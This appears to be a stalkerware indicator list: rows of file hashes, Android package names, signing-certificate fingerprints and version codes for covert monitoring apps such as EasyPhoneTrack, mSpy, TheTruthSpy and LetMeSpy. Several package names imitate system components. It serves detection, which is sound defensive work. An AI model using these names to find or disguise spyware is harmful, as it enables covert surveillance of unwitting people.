+23cb760d891e09ad1877cc12282e3ca095fc70b66709dfe68c4c5429dd0ab46d,com.spappm_mondow.alarm,7A4E706561BC2E0617847B3F2A8AD6984E34B8F5,6,EasyPhoneTrack +08539a1c6b48a5b5a080f9bc74dcd6a473a1f94dfd478705f5a385f667178e4f,com.spappm_mondow.alarm,DEF00D6226CF8DE2DCB1C99B745D00AF1DB74AB6,15,EasyPhoneTrack +96a297295e4ad49dd7749d98c6040b6e25d6296a07640f5bd0d6b74281f74c05,com.spappm_mondow.alarm,7ABEF4E9F7C5675EFDB947A972CCB41E18A898C9,6,EasyPhoneTrack +7a8217e1de107a32e386a9f79f75244a615350fb0a7cd390cf2a5780e4e3ca89,com.spappm_mondow.alarm,08A459A64D17F718FB0A96AA1C2D89E3C598BDF5,6,EasyPhoneTrack +67d81c5e1cd237314e5fc327c3063fe6647d803ecebf3728ee8508f1f4088938,com.spappm_mondow.alarm,74315D0276000E2C375178E3602649FF8327F69B,6,EasyPhoneTrack +c023042671eb96c219e5239ebd5b4f4f848b01dc56f70407ea3aec1c81dffbb4,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,5,EasyPhoneTrack +ea4be8ec8260770961734dafb3b0c5cdfe37cd3d1f4edee10cd2fc858ddd91bb,com.spappm_mondow.alarm,110E4A95B246422A2C78E18FA11A196CD26AD459,8,EasyPhoneTrack +dc3aba522087a99df5fdf8eec8bdfb628ed9e4e763d9f9240ec3f903f6a48339,com.spappm_mondow.alarm,25826A9006284A419A01E9051B3366E774F46426,39,EasyPhoneTrack +fb850d4de49c9fc53a0e48087cca852cafb6ef21125e7cb54d680283f6740d9e,com.spappm_mondow.alarm,814D878DF6FCA6E2B6BAD9CB5DF48317D5E91C7D,4,EasyPhoneTrack +b541150bd9b5634ba5ca91df8c5ac04181d56afd3de8f21bbc33d37e4b0b7084,com.spappm_mondow.alarm,3A8872AB676F68E584601EA4A7AFC4570CF486ED,19,EasyPhoneTrack +b70565df8148c3003bf185accc4b51ed49e4c06f3f0f04bfb3f2a56bace794e3,com.spappm_mondow.alarm,93AF1AD2EEEDBB6899531972F3B6199836783E55,6,EasyPhoneTrack +d835e22aacfa5934d6ebd84e58006dde2811d80330ed19a738dfee2f006132b2,com.spappm_mondow.alarm,ED72A245D169454DE3323887BB7AB6825EBA31F1,6,EasyPhoneTrack +33879d80457a1e345b9b46359667bdc531c66190c32aa725522295049d03e1e0,com.spappm_mondow.alarm,8FBDC3814106B5080826344DF3605D136E45705F,6,EasyPhoneTrack +b3eb30b454ce08240f0ddf1c91da97e1370c5e6aa90ea94055cfcc1132b41bed,com.spappm_mondow.alarm,04A0E30C08CD1C5F330B10A4AEDFDA23A2B5C3A3,6,EasyPhoneTrack +8cc126ea05fb7b3a39d95303176ca42f19fd3c8bb0a53f1d5ac913842e91e70e,com.spappm_mondow.alarm,263E0C2175A202BF6CEE9CB39F5490AB0C30CBCD,56,EasyPhoneTrack +36f51eb821052396c0bc16b19614ab479566c448abe5d26d425096d83bcc18fa,com.spappm_mondow.alarm,A3261BD6B42C2FD712667DF6CFEC7F14373CE278,6,EasyPhoneTrack +48ab101be2db649e79189f674f21cbcd30622a4cb09a64970aec14617e78f2aa,com.spappm_mondow.alarm,5707957851C9B391EB1C3F8524DCA769FE942FC7,30,EasyPhoneTrack +0217728c4c9872a3d704bcd28787d72b4a309d4d1f90c284040c172d87259db1,com.spappm_mondow.alarm,605A5EAEAA94E98A8839012C1BC1C1A25D3E8597,6,EasyPhoneTrack +77c71585adb1425ad64981b609116d97901d6523c41f91a0d6b9a3d9dd458da0,com.spappm_mondow.alarm,857A3A7A8ABC4C1419F65173245B478C99265EED,8,EasyPhoneTrack +f81a732fba79f56a4e625a843fd67c3159f93afb5045d9781d2dfa2a9ba18f22,com.spappm_mondow.alarm,D6C2DA0693AEC6D9CF0A7C7578E13DAEC3E5C92E,6,EasyPhoneTrack +e75af7b6c9b13e3c2ec71ad5468c901dbd8f262affbedef3b3372101859b4a3c,com.spappm_mondow.alarm,E66C522E95D6755CFE08FADC7CE28AE68B0F1CE8,6,EasyPhoneTrack +fc95484a97d0635f33a606a3796886765af788f95d4982230dc070bee29e6e25,com.spappm_mondow.alarm,BA815D95D4D3641D566A05117252B63871162731,9,EasyPhoneTrack +79b0a0b73290ed87deadfb7c696b22c4748bf9d6695f50fb1d8cf932840d2d80,com.spappm_mondow.alarm,948A7DEF4495BAD2C4EDDB09FE20CF12CDC43DA6,6,EasyPhoneTrack +ffac75e8020fcb44db4354d59d7fb8674709f28c52142215ec7c68c0667ba3a8,com.spappm_mondow.alarm,5B095D8ECE83413ACDBBD93088EE7252A2058C39,138,EasyPhoneTrack +4ea85bbd75306210e4bd8494c934d2c1b9e016d9f11a2b502b9c9a08e2acc5a0,com.spappm_mondow.alarm,1F7CB113838F7857E6ECFE5AFFC17F6A0BA37C19,147,EasyPhoneTrack +d313c47097568ad7bd2c9b3a0c8cf2e879d5d0ec66588a3751432551286f6a6e,com.spappm_mondow.alarm,2BCEA4F192E036F1F05D55B3A7F1FF8E4A006DA6,82,EasyPhoneTrack +f6dd220e294b24fb07cd6d83cbaa22c95843d53bf42dac3171c718b4a54a2b6c,com.spappm_mondow.alarm,54E7A9D41243BD85178743EE9CB0C59BB57C768E,56,EasyPhoneTrack +ad8d0ce4e319e040e6b934e20c55c8c5f92b59ee261e55911aa2494fcdd2cccc,com.spappm_mondow.alarm,E86007664ACD4657B54CFF4A4E37D6065A46FC18,26,EasyPhoneTrack +36c9d7149af2dadfacaa0c34b7b5992dbe6aaa05f008d5f3536e14590a903cbc,com.spappm_mondow.alarm,C0F1C920DB8D45766E7BB3E22021F5B7C6F60F7E,10,EasyPhoneTrack +50e227bdc728d0ff8e012adb43fb198b36a4b1cb65f09f8fabcec909cd6bbc16,com.spappm_mondow.alarm,CA03666086F8ECC29D666073CC16D07DF9573ED4,124,EasyPhoneTrack +fca1c6dc20e0ab59b143ffcdec2baa15288292167b1cf985551c3f83fd737140,com.spappm_mondow.alarm,037A0B66AC3617D4C41A8608C65C1EDF8771A6E5,6,EasyPhoneTrack +4dd850ad75d318839e823f7ea90ce6b4505022a9eea69a027850b05b6ceda299,com.spappm_mondow.alarm,2F58D089A06E07EAF1FBD9FC7E134F9C14378B46,6,EasyPhoneTrack +65aa15695a0a7fbec98e8164c07a71838cd5a6cf4fd54c4abc0df6d4dd9f3d1d,com.spappm_mondow.alarm,814D878DF6FCA6E2B6BAD9CB5DF48317D5E91C7D,4,EasyPhoneTrack +77c99ba1700015d0c449bb50df336ebe003bb271037eac9603cbd1dfdb8219af,com.spappm_mondow.alarm,F0FE0E19DB3B56DC5DAD63060E79293104ACCDA8,6,EasyPhoneTrack +77b6f31aae8fe2b07cd157d429cbd1c0f837628016feb67fad617d49ef9c3385,com.spappm_mondow.alarm,6AD22CDBD29A4B97F0F48152ED53A702049960D8,123,EasyPhoneTrack +62e3cafac27bbbfad3ae5a702823187eb5497ed7674578081612f627a12e3ce5,com.spappm_mondow.alarm,E8A66A59A96322A319909E477496D32EF8A461FF,6,EasyPhoneTrack +8c3a1f6f315067f4b17fe0002979356cd214f1eb9885bd86e5d66acc8f1638df,com.spappm_mondow.alarm,E3C53EB722D08136731A384F9D70819EA8B3696E,65,EasyPhoneTrack +f5d855f2a34009f120fbf9497492e41d7f5bd0a27565687670ef55d539614311,com.spappm_mondow.alarm,5CE67D4089225884D4D6C48ED458A4764A3CE91B,6,EasyPhoneTrack +93fdc1971e3527e41f98eefbec17db75d462907b1c04d69fbb7e1073c476ce51,com.spappm_mondow.alarm,BA52325CBBDD9B8C941E50908CFED27748CBFF76,28,EasyPhoneTrack +0214d5c4e90196540b51d5cbf4cbfeece955b5c8c79e62dc80e8b663dafa4daa,com.spappm_mondow.alarm,605C0F2D6E829597712EDFBCB82B442B6A0C53FE,10,EasyPhoneTrack +b870031727fa75c54e412ed2555337c2ad64e17c5d3a7cc9c5a64e5eac302cf1,com.spappm_mondow.alarm,5EE19336D2E0451D75F7ED129120C0820C9BB89E,6,EasyPhoneTrack +e29098919f23b41b95bb363224d7cc5bc388571fa6ba069262f7e858a29d4127,com.spappm_mondow.alarm,1F80A21521B5AFBCC7E287A4EF30F8DCB027832A,6,EasyPhoneTrack +42792d85d613c2187b879fc6991cef2d385a9837e93727d7dc6466d1ff759b53,com.spappm_mondow.alarm,2C8A4AED3A457BCE7D9F6E64A4D9F961A3B99ADA,6,EasyPhoneTrack +c6bbf82f4c49a54814d5b2f0531ba3db08e38f098afa633dfcf275cac9109757,com.spappm_mondow.alarm,59619F1C3E1655DB15B7A73487700FF374C2129A,6,EasyPhoneTrack +e9c50936b2011590c981be8e78c029cabed4b7f5a8d2fb880070c57e875d090b,com.spappm_mondow.alarm,F62565E6D61D9424EF05AB93717E0E54D343A001,24,EasyPhoneTrack +55254d5e91fd4c3ae69adc269c5723f864ca94bb8c346cce663d2ff583e47598,com.spappm_mondow.alarm,0FF8F1DB0BCF4CEDBBE08EF2DC8CE1D00B54175B,16,EasyPhoneTrack +605f76b007462720ef62df00e8a9b6aa20db90d7ab2e59d4653a1f352c5482a6,com.spappm_mondow.alarm,C3EDD5FA35FB1EB5F129C13AA192FA8D614994CF,9,EasyPhoneTrack +795c87b2b71e3d2f1bc0368ae16e0b830007bc5a880e5605dbb7683e9636f7f9,com.spappm_mondow.alarm,10FBB57BC209D824F673CB3A7A62C6FA2C7E9292,6,EasyPhoneTrack +37ab5e7cb66400d16430bdefbc091374cbf3746f7505b4878d9c095239a29723,com.spappm_mondow.alarm,093769636C8236DA998E4DFDDD42E10CD9918C30,6,EasyPhoneTrack +d2ff365818fa63576435843da88215be9d29cf5681f0243fa3121c6093a74eb4,com.spappm_mondow.alarm,B7D13540EC21908CDD8EB51E17FE926280736598,9,EasyPhoneTrack +f2bc5c88d184829fc3addc8c085e8b0135e8b9a612aefb52630037ec3efe4460,com.spappm_mondow.alarm,F69635485F0020439F90ADD224AD95599C49D54B,15,EasyPhoneTrack +03568c7c92c144516816bbdf4eaa504a399a6a78c0a1cc0c9ed20c859cad8539,com.spappm_mondow.alarm,0F79EE44E55E7969180F18861BDF74F3240FFAF9,6,EasyPhoneTrack +fd22e41762bb73dfba7b781457d4d4351984d7e0f451e7e10f6dc23745f67537,com.spappm_mondow.alarm,CE615F0B50D694E3607E54235DE5FEA5B6037C37,71,EasyPhoneTrack +d69ac38434dddea5a2d9775007bca4889654fc06a61d81e081de398214ba1130,com.spappm_mondow.alarm,101A203EC7450FA036422407A60CC219E2DDB10B,6,EasyPhoneTrack +99f0740005c3aa3ee140879867898728be3a06a5e6df68b4da9f387a09a9f01b,com.spappm_mondow.alarm,194F065B1152FBD4BE9D56032E7BC2F63FB2128A,6,EasyPhoneTrack +03635184546ac7d8304edc2e4dc68f7a21a97bdfeffeb0fb1b5a06244902a046,com.spappm_mondow.alarm,4C169FE3C49F75882B6F2429047F03C758F51A20,140,EasyPhoneTrack +b035c10d9b384e9b80164ef142b9038862775fe2c78ed361257eb6ad02d75bf5,com.spappm_mondow.alarm,25826A9006284A419A01E9051B3366E774F46426,42,EasyPhoneTrack +5fb450daa54a6133a313644aa9695965ee3c8c15cbfb60edfc3e13f4e9c0931c,com.spappm_mondow.alarm,DC3E5539E06AD98E15C400B55266F1E3132B2FD4,33,EasyPhoneTrack +10c50638a54606799f8d8ce310a9dec9dc131f8675aff8f6f161db90f19c0709,com.spappm_mondow.alarm,07D49AE7E74C1AF83CF70290D34167ED72292BA8,6,EasyPhoneTrack +74f4ef7aeb79df11b972d369f18dd15c67c3cb63473f8cd99321b5953dfdc3ad,com.spappm_mondow.alarm,0C71C14CD05CDA226ECB5D25F68BA15181BA6289,10,EasyPhoneTrack +35e81a20d78741cd201cdb2f7475590a01f5bdc1fb86dc600ceac80753d74714,com.spappm_mondow.alarm,F5052FE533A1CC152037DC7958000E85ED566D7A,5,EasyPhoneTrack +569686b2405f58cefe0e4caa057740e9afde7a9d87e14507e740541242284dec,com.spappm_mondow.alarm,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,6,EasyPhoneTrack +aca47dc2efdf562646215b65e27ef6b67a5b2ce907884ad876ce4c98c871e067,com.spappm_mondow.alarm,F0BE3BB8BD527303E592BE169F8433691B7D23AB,72,EasyPhoneTrack +ac18d94ff99daa1a1ea85da44b707c7953a71c871ff9ae8d3725adb90f650022,com.spappm_mondow.alarm,614D94713D389E29E10C995FD5A4E149968F4AC2,6,EasyPhoneTrack +b1ce7584aa4b56164853d0d93ce377ada7e55f0a87487eb7cad4978d2fd2a32b,com.spappm_mondow.alarm,3B366BFB98CC9478D40582DF17CA967C74F97F5F,6,EasyPhoneTrack +5e09db4f4b440124f948564ca08cb625d23d61f28f7e2ef8b8f33a46c07bd289,com.spappm_mondow.alarm,9CC530D8A01EF7A317CA3F31BB67B5418B0699CC,6,EasyPhoneTrack +e23e63e90e7e28e8d11ffc4737e1e4eb57a1f12b1b870238e2b55e9f7e84f351,com.spappm_mondow.alarm,2C4ED2A9CD61D0155F597154477507707F801F82,9,EasyPhoneTrack +4855a825bbf817f59295ae27a729e0694697c816c21fc78485dd0db706c73745,com.spappm_mondow.alarm,EA5D16BD9543B9C73C77BD58A5446DC35BDAFD68,15,EasyPhoneTrack +74f9f34a8ee53bbeefca63c17a198602b5115ebb7227826dc1240ad7a21be0e1,com.spappm_mondow.alarm,A97A83D0DBFFFEFCAF5ACE87746D0118E642F91E,6,EasyPhoneTrack +19d290b4cd197f099953e7b4b1ec57078f9f1bf467297c7d50720765b10ba7c0,com.spappm_mondow.alarm,322C763CB27EFD6C77B50275ACAC1246E467B9D3,44,EasyPhoneTrack +3518d11ddc3a58720ae78bd727842cf1b3830968fee8da1617b04ca3deae8e64,com.spappm_mondow.alarm,CFC4212A7DB8548BF40ED8A47FC4F061A9B68949,43,EasyPhoneTrack +3d307fcb74218842623ce48fcf0ff41767ee56982e3ea8e7a94b9fcb1885de06,com.spappm_mondow.alarm,FFE220DB8AD81D58F25AAEA921705B3E5415FF52,259,EasyPhoneTrack +0d966c90a4cfe44bf37cbcba09903eec9bdf9dc07453d479a9eb041bb26cebfe,com.spappm_mondow.alarm,D797FF57B87EE2B80F47BA864B8E7125C33F4F4B,40,EasyPhoneTrack +e1b57fad2928ea3bf56b8636bb13f3defa2e6744fc0b1c3a3208b22d84bcdbe6,com.spappm_mondow.alarm,D8FDC2E6E3BB73FE63E0AE28B9987A1D492355F4,37,EasyPhoneTrack +20fd84cf4f1becfb13a569d9864c4036f3c548dbaaa3448c7a456611523c9e35,com.spappm_mondow.alarm,3981EECEF754EF593B37C0877B1E977E7581BD00,37,EasyPhoneTrack +2dffac6948985ec7f2aebbe2b4e5f39f2ce847707d4e7ab0cff3694cf916e603,com.spappm_mondow.alarm,D4D72017CDEF86A53AB6C7BADD8A2839E3561427,36,EasyPhoneTrack +8758c685f4b96377b74d71bc3049498517d55fa1b059a516125162fbc1edd18b,com.spappm_mondow.alarm,7ACEB67274B07630085E45AA9223A0AF7C48ECBB,32,EasyPhoneTrack +bf66c6a2d374f6a92efb23851ea186ea2ebe119a62124a8bdceb7e9c5ade68ec,com.spappm_mondow.alarm,E56AB2BF39C2C86454787C7E5DBD9231900E8489,27,EasyPhoneTrack +5b9f948b73717ded8700c77bd775a375fd7db6f5a133108589399d3c1ec1becf,com.spappm_mondow.alarm,8C8BD2D5D9B9DA8CD4C6BDD6E529FEEB0B0E6E24,22,EasyPhoneTrack +7a77a6280a534a9ffc98996cdca81a5e2d950b9d566299f398d641b5ba0853d6,com.spappm_mondow.alarm,8511753038C3BAA855E6B6EA9BD9DB0B42854D0F,21,EasyPhoneTrack +54347a279f595270f5f88247b1f3cba62559489f4f4200ca6738352412dd8c7d,com.spappm_mondow.alarm,97A0CD67A990FCF7BEBA7F00D0F4963E029B0ED5,257,EasyPhoneTrack +9871cb36269ba18f2a0b80ee0e3a01843b2ac190ea2be8e1b582af515295dfd9,com.spappm_mondow.alarm,01BE8320BD797FA4FD7715544B8BBA1B347294B1,256,EasyPhoneTrack +dd61a3adb5bdf9542ff6c076d76d53243beb01a85f3d98e6ab4147b9252629a9,com.spappm_mondow.alarm,247D3D4C72C8685BDD436C402C1CFFC882F69ACA,239,EasyPhoneTrack +91fb519a20789b5b1d1b567a888c28bd1820cecd35c198c6600de2e4e8b568b7,com.spappm_mondow.alarm,B955388FEC9794761F48624BB347F2959E0DF8AF,239,EasyPhoneTrack +fbce138d2b08f52091d925cdcf9490bcd850785338a1f377e94caaf09fe21aeb,com.spappm_mondow.alarm,1A0E80FB7D48BFF0182BA9431002C0076A84A290,239,EasyPhoneTrack +07743812754dbe7c41fd0a9b706126285c4f4dc33747a9e7933fd6150a14c77b,com.spappm_mondow.alarm,193F78298D555FEE709D9CD5A102D686E6D74013,229,EasyPhoneTrack +4adb375bee81c52f1ebf73dcc55525aaba65d1d1486a6815c7f32f93ffb9a400,com.spappm_mondow.alarm,C8AA6590DB288C2C7784B0A9B23313E02D0F7593,165,EasyPhoneTrack +ca2382d2dc9a479a12c52e92247f16087f557713d379ae02a251f6a1448b3dd1,com.spappm_mondow.alarm,C05BE6D1B7E8E57E2352B382829F023324DAA45C,155,EasyPhoneTrack +85f268850edb49fd3b652f9ee0daacccc10b876cd9263d8233326d7a7546dfc2,com.spappm_mondow.alarm,0DA44E2BDA0A2A18C0F8E8D80B8F0AE376FAE2DA,3,EasyPhoneTrack +04c560ef6a701d50893c86f7bafbef50784a396ee0a92055a9efaf9925f5fe04,com.spappm_mondow.alarm,C6262C3773D204DA2E73D2DCD52FF0C5D5D80B4B,81,EasyPhoneTrack +ca70975da016eab694816eca008e401df221f3102cb5aa84277346f452f414f0,com.spappm_mondow.alarm,0DA44E2BDA0A2A18C0F8E8D80B8F0AE376FAE2DA,3,EasyPhoneTrack +5e792756be17a0c5dd2258ae9a9c614f53cb06d7991e2388c8ad810b55423003,com.spappm_mondow.alarm,F5BB4A86881AC6C7454588B6B4925718203EF3BF,4,EasyPhoneTrack +c9cdc9649966c22d20412c3ff0e42f2b781b1f723289867b2dc4e5d9232430bf,com.spappm_mondow.alarm,A6FB8B4B2CF781ACEEC2E5E18514042D396A1614,4,EasyPhoneTrack +fab561bbc37225394bed700a591bb5a031256dc2407877069c33a77d251639db,com.spappm_mondow.alarm,EB8F9311DBA796E798119A39FB52BD1227BF58FD,4,EasyPhoneTrack +27bcaa966f298d423e6914893bf3209186c272d5bc60d1f8cb8a3416b1cbee3a,com.spappm_mondow.alarm,01C739988F5FF41F8F8AA15BF10317A8737FCC96,4,EasyPhoneTrack +c74f73f8d7ac1f548af9d9bff635c6856ec8820aa58a8fdb4c8672b43308db02,com.spappm_mondow.alarm,6F32546D8188A2C27D2E611A8887DB4B1231CB52,6,EasyPhoneTrack +c5f5bb223fadef66c77296512c8bed72654fa1f53289e6bf9e1d1bbb6a6e252e,com.spappm_mondow.alarm,86A8A203311D637B730DD284BDD5C72796B2C9F2,6,EasyPhoneTrack +d765bf6a1ba2b84965120cea904aaea94e6bd339bc789e4c326823fe07bba5e7,com.spappm_mondow.alarm,A1E0CF4E9C5ACAB618571EB297DF48DC4421A5B3,6,EasyPhoneTrack +234158ab8cb8969ac6199bc5e9caebb98f1c07f418824262bfa08ea4872b0503,com.spappm_mondow.alarm,0B62854AC282679A5900AB17AF0FDE2F92A34993,6,EasyPhoneTrack +3bfbba550cc1e342d822e4bb5f617bfd4a90f7210fc293f7743333cff617fb44,com.spappm_mondow.alarm,93A4DF1C52D19EA906FCDB156392AF7E2B5594C3,6,EasyPhoneTrack +cea29a8f5b3531dbdc2b9c9ac71ac1475ca695545a3a5074728ad567316e518e,com.spappm_mondow.alarm,A15F5707EE1695EBAB8476E0A65A25CCFB9DB60F,6,EasyPhoneTrack +3feeb95c3b497ccaf7f6e2cd1d71e5e9ce178e64c0069165a6831995c0fe634a,com.spappm_mondow.alarm,048CCF4A84C0E3B53D7FD86C2EEF5CE3005E58AF,6,EasyPhoneTrack +90004b2490a72e626787feaec13233a5f8d25d0fd85055292a7d441d06937418,com.spappm_mondow.alarm,E86937C1A131A95AC28D795952B03B89BC0AC89E,6,EasyPhoneTrack +e027d400899ace8c01964fb7a9056ffc3dadd321ad1b4db4edcb812c290d2097,com.spappm_mondow.alarm,5B602DEBE54142C7664A0E15BE59D70BCE19CAD7,6,EasyPhoneTrack +d4ff7453ea26e5afe1979d4b747a3217e8971a86c2807582f257610bd884e693,com.spappm_mondow.alarm,7228EBF1941E812B0EF72E89A080BCF6C34644D8,6,EasyPhoneTrack +239dbce4da6af63cd5611ac6e1492ae4afdd3ecc3ac598502ba1a99c62221bd4,com.spappm_mondow.alarm,C6931E6E404116923D63A9E69A96CEEA0F2841A6,6,EasyPhoneTrack +406baa9efd3223891eb32796154d91d65e9d0903ee5a4f1c7ee78b8a41c21496,com.spappm_mondow.alarm,0B36B83FD85D2B8069232B8BBCE008A2E5A7E7BD,6,EasyPhoneTrack +7edb964e827d0a7d994a228b364f9bfe63a30cb02407b88895c45dc15377cbea,com.spappm_mondow.alarm,F568B1EDF74B447758D4ED40DB7738F446A3463D,6,EasyPhoneTrack +09359f6b5b02e1265d455f24eb231346ac0efc9706aa76e7eafff8b505051d55,com.spappm_mondow.alarm,158F27A31FB41BCC75A8421962B03A53D0CE5D5A,6,EasyPhoneTrack +e142f71c7c0b0a367bde4f8b6a146739345e6618bca4166a91982779a595ee26,com.spappm_mondow.alarm,85ECB8B044388B456C5E3B3254A20875D84C7AB5,6,EasyPhoneTrack +01f4f2d69a3c046da1faa6f228e80d0cbca88d86888e15945dc10feb4f3570a5,com.spappm_mondow.alarm,53E7261C67170B67FDE3A23366057E480999949E,6,EasyPhoneTrack +182121c89d9964f7c006f1033baeac832c84494f3351705379231baa3e790af0,com.spappm_mondow.alarm,4F9686E72DE6F47F049D6746DCC3FAB9E40DE796,6,EasyPhoneTrack +b2d207a6a069119ea3456f5510d660279d737a35e559af68d0ce384484507daf,com.spappm_mondow.alarm,CE7B12CC9ED1C670E3A3FC361C66E4E666C2A2F2,6,EasyPhoneTrack +0b7e67bc048811ec30efcdf7fef67c4f16799185ebd1e4ce2d9bcc4381baed17,com.spappm_mondow.alarm,BC8D4945316CE6D2DDB64CAD2C4CFCB3E92AC473,6,EasyPhoneTrack +180a8385d40084cfc30b149289f63bbb1ce1a26ae39b7116546bf03d0bb5d20c,com.spappm_mondow.alarm,FDD963D2D1229BE64352A276708532E2A745F309,6,EasyPhoneTrack +b29d29ed9adddc41f8cf452c2307ae13f544d8eeadb5896968d32ef9cdf6c739,com.spappm_mondow.alarm,3B9A936153C3022A4E8FFDFC4747541805188EE4,6,EasyPhoneTrack +0c40f1df2185f6a19126230eb474ad04ce4766c34d2184a9ef7f7f8b2822abd6,com.avi.scbase,934A3C0DC8912C4F2F8620F666FC7621BD7B97B8,31,pcTattletale +0df406d88bd0e184090750bb2e7db58a9a9f87f794ad8fe1a20c2744bef6ee3e,core.update.framework,CB28ADFD818FBFFDF5542F2EFC5140D596EE957E,594,mSpy +32f14f7b5fa51dac3391047e45a9dfbd339cbadacbf6603646564d2e6c386eb5,com.shadow.client.android,AD231A7CD57E2CEF8162F4D341C3573DE2B8F443,6,ShadowSpy +fe3b4aa318a7f9c16c9afb8dda2d20fa92ce3c2e16573bffb5b7c21c4330e71f,com.w1f1,630BB83172B184A6571126229E2B2DCA2EB4123F,2150,SpyLive360 +e3d87b0943d8713204b40c6a99eaf18599217f04d003cdee732bd4d97fe08aac,city.russ.alltrackerinstaller,6EF8C27EBCF808FFA377A391DB9892B997AF16C9,13,AllTracker +514f4d6272678b21151b8d5bff99ad110b585a2662acaf55c53ec120ff45bbd5,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +4504937d81feb23d6f80e158518336bb319734c3af182d91e5864bcf62a0d6c8,com.lsdroid.cerberus,724C6500F11737C12C0B89185A60427989656697,283700,Cerberus +b0b89e87f4d8d0127c930ab87891f8c0cf500d1424735ba47ab139c6ccd0665c,com.lsdroid.cerberuss,69C28343A4D0F2156D7B56AE4616E1386173A047,283700,Cerberus +42c8b1ecc6d2928cff2206c1a7d5ab6360767ea8d75aa5dc837f9c58cf81e38c,com.android.inputmethod.latinmy,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,23,KidsShield +f0513e57f568f487a52c482fb59041445f486a92bd2c4a322b17032281a815ae,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +4c44e8fba94b134f73ca6be0cfbe8778b9ff72201c7ddcfaf4a69a53118ef990,com.ibm.fb,92EBDB7D7C18A34705A6918B5F327DDB0E8C8452,1,AndroidMonitor +c757e63dd664a4b453614aef1fd7a8a91c57b888018eee088f5308cffc735c4d,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +c253a652ab4262072431e9729710a25e5554e09ac8dff4452f1c20a7271b1a57,com.mit.viptrackpro,2E104C33C8DA4DB32E59A45701D8E0C4CAD16BD3,4,VIPTrack +0980b9d5a8b4ed687738ccb9ecd39b40baf85e28e75f926494907d5d0c10907e,app.EasyLogger,07906D1FA933730B8EB44F03910C88FDAC2C0135,113,EasyLogger +176affea44663f35cff671dc935402bd4c69e2dd22d2d87bed618096057a25bc,pl.lidwin.remote2,8F0EAD4F1DA5DAAF8C0F7A51096CECEEF81D0C76,30500000,LetMeSpy +856bc344bce5fbb077b1ce545000e26b68b97e3b089d4f737321d5d9347ff02b,pl.radeal.lms4,69EE83CB3E0968B49E33849D40F7D91B0592C7DB,40003003,LetMeSpy +fc3235263174fe8f05b5db49c36094549a2597e8d57b586fd0374d28d1c0a5c6,com.panspy.android,CCD5678FF73D6ECF4E74317166422AFE67D77406,70,PanSpy +8c24fa3a293241cc75638bcc206ccb05291b03c18bccf915df339b232eb083a4,wosc.cwf,523C42BF2F6CBAFC78BE41043E8E3E3BB311CBA2,13,CatWatchful +78cb36cc9aba70bc902b3c8ba1b86c7a5d72b056fd624349bbd3fd972341aacf,inc.imonitor,5C5EF3DFE98B02251A6EC82609F22A092562AFEE,21,iMonitorSpy +f1408db265a20e78eb1df9675ff2cfdf60a959c8445a9241a45218e72c0826b6,m.mobile.control,76F6C302533751BED738D40882AC219BAAD65E7B,311,SpyHuman +011b3e70ea3bec4e59cc5f4acb6ad1a88b9b0feb856dc25b3eceaf39bbddb38a,com.backup.tt,B8FCBCA563B1CD0E79CAC595002422C2E54072B7,1,jjspy +db0e8d833e9c1f09e240df7add910e526ed7e32a48c4a3add8921bd90dbfbe77,com.bulgakov.controlphone,71AD1F579C3DCF32AA1E00E02245D359F80C260B,73,Bulgok +b3cce10706722566b937caddf515ca33092ab3ce30dbb57b15053ff11a884b14,com.google.android.bacfup,A9A302C9606AF4BE4468A4FC74F7873DDADA2AB0,210721,Tracku +bb2c39ec7dce3e1f30c1dbf55e5662f421adf968f3be7018b0c7946f1304a65b,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +4601c28bb41bcc466c28a4f07d714bd9ee0a40923021ef6f80cffbb52e5b886a,wosc.cwf,77032E80CC0ECEE49B8F2F58F9999330026E0DB3,13,CatWatchful +96fa9419cfc95046327bf9d991a27dbc554f59de768221a246dfd6aa45a8fdf3,com.hp.vd,E0103BF20E95E826920A3F0F7B3BD03A899127D7,1,FreeAndroidSpy +5b9067b08afe27a6e6afc939ed441e3c3575b7566698e59c647cd89ffc813169,com.backup.tt,CF627144481D3F1DCFBB6CF12291C540AE325FBE,1,jjspy +585ff51e2cb9cd41dd0c0c931f4804ab475cc73cf1aea718883d0e78a891f946,service.download.app,8CED75E875A2F11B3327A73A6DBD0B25E26533F2,20,MobileTrackerFree +dbcd604e4f1899845f9cb82295bb43a8ac91b5a2d42f5611f72e9cef55575ece,com.cplro.uhkfoupe,389DB7100B4A82624ADD78862F063BC13F6965E7,20366,MyCellSpy +d006a147372fe86a8c9ff8d2d6ef4e714be3db99610292403cbc1b5720c1bfc6,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +e76c4e421558f4dea735a845bbedd1524846263d806a992a3154926f7f95c914,app.EasyLogger,53FADDAF873B7BD00E5AD9F5F05E7888A398CE70,115,EasyLogger +adb2effde122c5784f0ff57974f33d03c5f78f40a32e9e45f55017ff7b2600c2,com.chaoqi.spyapp,2CF347EA59967F7799AA2C1FDB5D711B2B93D586,21,Spylix +166fd3bbfd9902d2e2a4f422a58faf24a457823930bcfe7bed24d9896a1c0225,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,130,MonitorUltra +1c48a5d50c826af0c118b31269e2ca2a945b8a9449336b509da1dc83e7506bcc,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,105,MonitorUltra +307b23b32065b69dd2e7fd1ef1d74eb2923f717cff995c4884bde7c9b22b7c7d,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,20,MonitorUltra +6bff05743c62f03c1483e454afb1fbefe31b79d18834435d61644b4138de0c50,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,123,MonitorUltra +763ef45d3cc1f7197c1ea6f2300b170ea7847de590b991e5944b4f9af4e770ab,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,20,MonitorUltra +8f0ae7dd7c5b955493475ded4f3e9dc9c597504192596129601954a722153ee5,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,21,MonitorUltra 